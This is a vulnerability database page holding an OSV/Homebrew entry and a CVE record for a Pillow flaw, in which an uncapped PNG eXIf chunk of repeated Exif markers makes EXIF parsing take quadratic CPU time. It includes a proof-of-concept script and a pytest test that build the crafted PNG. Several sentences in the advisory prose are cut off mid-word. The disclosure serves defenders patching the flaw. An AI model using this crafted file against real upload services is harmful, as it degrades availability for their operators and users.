Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-AIDER-CVE-2026-96643 (GHSA-G4QV-2JXX-769H)

    Vulnerability from osv_homebrew – Published: 2026-10-29 21:58 – Updated: 2026-10-29 21:58 – Source website
    VLAI
    Summary
    Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
    Details

    Summary

    A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

    ### Details Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

    python while data and data.startswith(b"Exif\x00\x00"): data = data[6:]

    Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

    chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.

    If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

    ### Steps to reproduce This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

    ```python import time from io import BytesIO from PIL import Image, PngImagePlugin

    def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue()

    MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

    marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers data = MAGIC + IHDR + exif_chunk + IDAT + IEND

    start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds") ```

    Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

    Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

    A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.

    ```python import pytest from io import BytesIO from PIL import Image, PngImagePlugin

    def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue()

    MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

    @pytest.mark.timeout(2) def test_exif_load_is_not_quadratic(): marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) data = MAGIC + IHDR + exif_chunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif() ```

    ### Impact - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear. - Confidentiality: none. - Integrity: none. - This fires through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pillow",
            "resource_purl": "pkg:pypi/pillow@12.1.1",
            "upstream_fixed_in": "13.0.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "aider",
            "purl": "pkg:brew/aider"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.86.1_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pillow@12.1.1",
            "name": "pillow",
            "resource": "pillow",
            "strategy": "registry",
            "subject_version": "12.1.1"
          }
        ]
      },
      "details": "### Summary\n  A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow\u0027s EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.\n\n  ### Details\n  `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:\n\n  ```python\n  while data and data.startswith(b\"Exif\\x00\\x00\"):\n      data = data[6:]\n  ```\n\n  Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.\n\n  `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info[\"exif\"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.\n\n  If the eXIf chunk is filled with repeated `Exif\\x00\\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.\n\n  ### Steps to reproduce\n  This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.\n\n  ```python\n  import time\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  marker = b\"Exif\\x00\\x00\"\n  exif_chunk = chunk(b\"eXIf\", marker * 300_000)  # 1.8MB, all markers\n  data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n\n  start = time.time()\n  with Image.open(BytesIO(data)) as im:\n      im.getexif()\n  print(\"took\", time.time() - start, \"seconds\")\n  ```\n\n  Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.\n\n  Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a\n  few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.\n\n  A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is  it fails with `Failed: Timeout (\u003e2.0s) from pytest-timeout`.\n\n  ```python\n  import pytest\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  @pytest.mark.timeout(2)\n  def test_exif_load_is_not_quadratic():\n      marker = b\"Exif\\x00\\x00\"\n      exif_chunk = chunk(b\"eXIf\", marker * 300_000)\n      data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n      with Image.open(BytesIO(data)) as im:\n          im.getexif()\n  ```\n\n  ### Impact\n  - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.\n  - Confidentiality: none.\n  - Integrity: none.\n  - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow\u0027s own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.",
      "id": "BREW-aider-CVE-2026-96643",
      "modified": "2026-10-29T21:58:11Z",
      "published": "2026-10-29T21:58:11Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96643"
        },
        {
          "type": "WEB",
          "url": "https://github.com/python-pillow/Pillow/pull/10073"
        },
        {
          "type": "WEB",
          "url": "https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/python-pillow/Pillow"
        },
        {
          "type": "WEB",
          "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time",
      "upstream": [
        "GHSA-g4qv-2jxx-769h",
        "BIT-pillow-2026-96643",
        "CVE-2026-96643",
        "PYSEC-2026-4342"
      ]
    }

    CVE-2026-96643 (GCVE-0-2026-96643)

    Vulnerability from cvelistv5 – Published: 2026-10-21 20:56 – Updated: 2026-10-23 21:19
    VLAI
    Title
    Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
    Summary
    Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
    SSVC
    Exploitation: none Automatable: yes Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-10-23 17:32 UTC
    CWE
    • CWE-407 - Inefficient Algorithmic Complexity
    Assigner
    GitHub_M CNA
    Impacted products
    Vendor Product Version
    python-pillow Pillow Affected: >= 11.0.0, < 13.0.0
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-96643",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-23T17:32:48.986807Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-23T21:19:12.901Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "Pillow",
              "vendor": "python-pillow",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 11.0.0, \u003c 13.0.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "PASSIVE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-407",
                  "description": "CWE-407: Inefficient Algorithmic Complexity",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-21T20:56:26.344Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h"
            },
            {
              "name": "https://github.com/python-pillow/Pillow/pull/10073",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/python-pillow/Pillow/pull/10073"
            },
            {
              "name": "https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c"
            },
            {
              "name": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
            }
          ],
          "source": {
            "advisory": "GHSA-g4qv-2jxx-769h",
            "discovery": "UNKNOWN"
          },
          "title": "Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-96643",
        "datePublished": "2026-10-21T20:56:26.344Z",
        "dateReserved": "2026-09-23T14:35:50.130Z",
        "dateUpdated": "2026-10-23T21:19:12.901Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }